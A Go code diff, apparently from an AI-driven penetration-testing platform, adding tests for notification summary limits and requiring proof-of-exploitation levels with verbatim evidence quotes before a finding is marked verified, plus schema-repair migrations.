if r := f.request("PUT", "/api/settings", body); r.Code != 200 {
t.Fatalf("%s failed %d: %s", body, r.Code, r.Body)
}
expect(body, tc.summary, tc.assets)
for key, want := range map[string]int{settingNotifySummaryMaxRunes: tc.summary, settingNotifyAssetsMaxShown: tc.assets} {
if v, ok, err := f.pg.GetSetting(key); err != nil || !ok || v != strconv.Itoa(want) {
t.Fatalf("%s: settings row %s should hold %d, got %q (ok=%v err=%v)", body, key, want, v, ok, err)
}
}
}
for _, body := range []string{
`{"notify_summary_max_runes":-1}`,
`{"notify_summary_max_runes":4001}`,
`{"notify_assets_max_shown":-1}`,
`{"notify_assets_max_shown":51}`,
} {
if r := f.request("PUT", "/api/settings", body); r.Code != 400 {
t.Errorf("%s should return 400, got %d", body, r.Code)
}
}
expect("after rejected writes", 4000, 50)
}
// TestNotifySummaryLimitReachesDelivery is the end-to-end evidence that the
// stored limit reaches the message actually sent: with the key unset the summary
// is cut at 120 characters as before, and once it is set to 0 the same summary
// goes out whole.
func TestNotifySummaryLimitReachesDelivery(t *testing.T) {
f := newNotifyFixture(t)
clear := func() { f.pg.Exec(`DELETE FROM settings WHERE key=$1`, settingNotifySummaryMaxRunes) }
clear()
t.Cleanup(clear)
hook := newFakeWebhook(t)
chID := f.createChannel(t, map[string]any{
"name": "summary limit",
"kind": notify.KindDingTalk,
"config": map[string]any{"webhook": hook.URL},
})
summary := strings.Repeat("Z", 300)
record := func(name string) {
t.Helper()
if _, err := f.s.evidenceStore().Record(context.Background(), db.RecordFindingInput{
TaskID: f.taskID,
ExplorationID: f.expID,
Worker: "test",
VulnClass: name,
Name: name,
Severity: "high",
Summary: summary,
Evidence: "poc",
}, nil); err != nil {
t.Fatalf("failed to record finding: %v", err)
}
}
record("summary limit unset")
f.deliver(t, chID, "")
text := markdownText(t, hook.last(t))
if !strings.Contains(text, strings.Repeat("Z", 119)+"…") || strings.Contains(text, strings.Repeat("Z", 120)) {
t.Fatalf("with the key unset the summary should be cut at 120 characters:\n%s", text)
}
if r := f.request("PUT", "/api/settings", `{"notify_summary_max_runes":0}`); r.Code != 200 {
t.Fatalf("failed to write settings %d: %s", r.Code, r.Body)
}
record("summary limit zero")
f.deliver(t, chID, "")
if hook.count() != 2 {
t.Fatalf("expected 2 messages sent, got %d", hook.count())
}
if text := markdownText(t, hook.last(t)); !strings.Contains(text, summary) {
t.Fatalf("with the limit at 0 the whole summary should be sent:\n%s", text)
}
}
// TestNotifyDeepLinkUsesPublicBaseURL covers back-link building: when
// public_base_url is configured, single messages must use the ActionCard with a
// button, and the link must point to the vulnerability detail page.
@@ -1008,3 +1110,30 @@ func TestNotifyTickBudgetFitsWithinLease(t *testing.T) {
worst, notifyLease, notifyMaxSendsPerChannelPerTick, notifySendTimeout)
}
}
// TestNotifyLimitValue pins how a stored render limit is resolved. The case that
// matters is "0": it is a real value (no truncation) and must not be read as
// "unset", while anything unparseable or outside the bounds falls back to the
// default instead of reaching the renderer.
func TestNotifyLimitValue(t *testing.T) {
const def, max = 120, 4000
cases := []struct {
v string
ok bool
want int
}{
{"", false, def},
{"0", true, 0},
{" 500 ", true, 500},
{"4000", true, max},
{"4001", true, def},
{"-1", true, def},
{"abc", true, def},
{"", true, def},
}
for _, tc := range cases {
if got := notifyLimitValue(tc.v, tc.ok, def, max); got != tc.want {
t.Errorf("notifyLimitValue(%q, %v) = %d, want %d", tc.v, tc.ok, got, tc.want)
}
}
}
+51 -3
View File
@@ -2,7 +2,9 @@ package server
import (
"context"
"database/sql"
"encoding/json"
"errors"
"fmt"
"log"
"strconv"
@@ -293,7 +295,7 @@ func (s *Server) toolSpawnTask() actool.CoreTool {
var pin *int64
if id := parseProfileID(a.LLMProfileID); id > 0 {
if _, ok := s.loadProfileConfig(id); !ok {
return actool.Errorf(fmt.Sprintf("LLM profile #%d not found or has no API key set", id)), nil
return actool.Errorf(fmt.Sprintf("LLM profile #%d not found or not usable (no API key for the key-requiring formats)", id)), nil
}
pin = &id
} else if a.ParentRef != "" {
@@ -430,26 +432,57 @@ func (s *Server) toolUpdateFindingReport() actool.CoreTool {
"finding_id": map[string]any{"type": "integer", "description": "target vulnerability id (the id returned by report_finding)"},
"report": strParam("full report text, Markdown format"),
"evidence_version": map[string]any{"type": "integer", "description": "evidence version returned by get_finding_traffic; prevents the report from overwriting newer evidence changes"},
"poe_level": map[string]any{"type": "integer", "description": "proof-of-exploitation level 0-4: 1 error/timing/response variation, 2 structural manipulation, 3 actual data extracted, 4 critical impact. L3 is the minimum for verified. Omit or 0 when not proven."},
"evidence_quotes": map[string]any{"type": "array", "items": map[string]any{"type": "string"}, "description": "exact lines copied from a bound proof/verification response body (get_finding_traffic). Never from memory; the server checks each one verbatim after whitespace normalization."},
}, "finding_id", "report"),
func(ctx context.Context, in json.RawMessage) (actool.Result, error) {
var a struct {
EvidenceVersion *int64 `json:"evidence_version"`
FindingID json.RawMessage `json:"finding_id"`
Report string `json:"report"`
PoELevel *int `json:"poe_level"`
EvidenceQuotes []string `json:"evidence_quotes"`
}
_ = json.Unmarshal(in, &a)
nodeID := parseProfileID(a.FindingID) // reuses the "number or numeric string" parser
if nodeID <= 0 {
return actool.Errorf("invalid finding_id"), nil
}
poe := 0
if a.PoELevel != nil {
poe = *a.PoELevel
}
if poe < 0 || poe > 4 {
return actool.Errorf(fmt.Sprintf("invalid poe_level %d (want 0-4)", poe)), nil
}
notFound := actool.Errorf(fmt.Sprintf("no vulnerability record found for finding_id=%d (register it with report_finding first)", nodeID))
findingID, err := s.m.pg.FindingIDByNodeID(nodeID)
if errors.Is(err, sql.ErrNoRows) {
return notFound, nil
}
if err != nil {
return actool.Errorf(err.Error()), nil
}
n, err := s.m.pg.SetFindingReportVersionByNodeID(ctx, nodeID, a.Report, a.EvidenceVersion)
if err != nil {
return actool.Errorf(err.Error()), nil
}
if n == 0 {
return actool.Errorf(fmt.Sprintf("no vulnerability record found for finding_id=%d (register it with report_finding first)", nodeID)), nil
return notFound, nil
}
return actool.Text(fmt.Sprintf("finding %d report updated (%d chars)", nodeID, len(a.Report))), nil
// The report is saved above; verification only decides the status. A
// downgrade is recorded and reported, never used to drop the report.
status, note := s.assessFindingVerification(ctx, findingID, poe, a.EvidenceQuotes)
if err := s.m.pg.SetFindingVerification(findingID, status, poe, note); err != nil {
return actool.Errorf("report saved, but verification not recorded: " + err.Error()), nil
}
msg := fmt.Sprintf("finding %d report updated (%d chars)\nverification: %s", nodeID, len(a.Report), status)
if status == db.VerificationVerified {
msg += fmt.Sprintf(" (POE L%d)", poe)
} else {
msg += " - " + note + "\nwarning: the report is saved but the finding is not verified. To reach verified, declare poe_level 3 or 4 and pass exact quotes copied from a bound proof/verification response body."
}
return actool.Text(msg), nil
})
}
@@ -503,6 +536,7 @@ func (s *Server) seedOrchestrationTools() {
s.seedWorkerReadToolsUnbind() // list_facts/list_companies/list_worker_traces unbound from worker's defaults (one-time)
s.seedWorkerReadbackRebind() // repairs an old migration's wrong removal: re-binds search_all_worker_traces/get_worker_trace/node_detail back onto worker (one-time)
s.seedTaskCredentialBindings() // save/list_task_credential onto worker + pentest (one-time, #3)
s.healListTaskCredentialsSchema()
s.seedAutoReportFindingBinding()
s.unbindGoalMetDefault()
s.reseedGoalsPrompt() // goals prompt gains the "extract operation constraints" step → old DBs append a new default version (one-time)
@@ -513,6 +547,7 @@ func (s *Server) seedOrchestrationTools() {
s.upgradeReporterTriggerMessage() // backfill migration for old DBs: makes the reporter send evidence_version back (one-time)
s.seedFindingTrafficTools() // adds optional evidence params and read-only evidence tools, preserving user config
s.seedFindingWorkflowTools()
s.seedFindingVerificationSchema() // S1: poe_level / evidence_quotes on update_finding_report, added once per DB
// Note: pentest's default tool bindings need no migration — BuiltinToolSeeds already seeds
// list_assets/insert_assets/report_finding/list_findings/list_companies together with
// pentest at fresh initialization (no old DBs exist in this project, so no migration).
@@ -910,6 +945,19 @@ func (s *Server) seedTaskCredentialBindings() {
_ = s.m.pg.SetSetting(flag, "true")
}
// healListTaskCredentialsSchema repairs the list_task_credentials row seeded by
// older builds, whose schema carried "required": [""] — strict providers reject
// it, which fails every worker run. SeedTool is first-insert-only, so the code fix
// alone never reaches an already-seeded row. Only that exact malformed value on
// that one key matches, and only the "required" key is dropped: the rest of the
// schema, the description, bindings and enabled flag are untouched. A healed row
// no longer matches, so this needs no settings flag and is a no-op afterwards.
func (s *Server) healListTaskCredentialsSchema() {
if _, err := s.m.pg.Exec(`UPDATE tools SET schema = schema - 'required', updated_at=now() WHERE key='list_task_credentials' AND schema->'required' = '[""]'::jsonb`); err != nil {
log.Printf("[tools] heal list_task_credentials schema failed: %v", err)
}
}
func (s *Server) seedWorkerReadbackRebind() {
const flag = "worker_readback_rebind_v2" // v2: adds node_detail
if v, _, _ := s.m.pg.GetSetting(flag); v == "true" {

Some files were not shown because too many files have changed in this diff Show More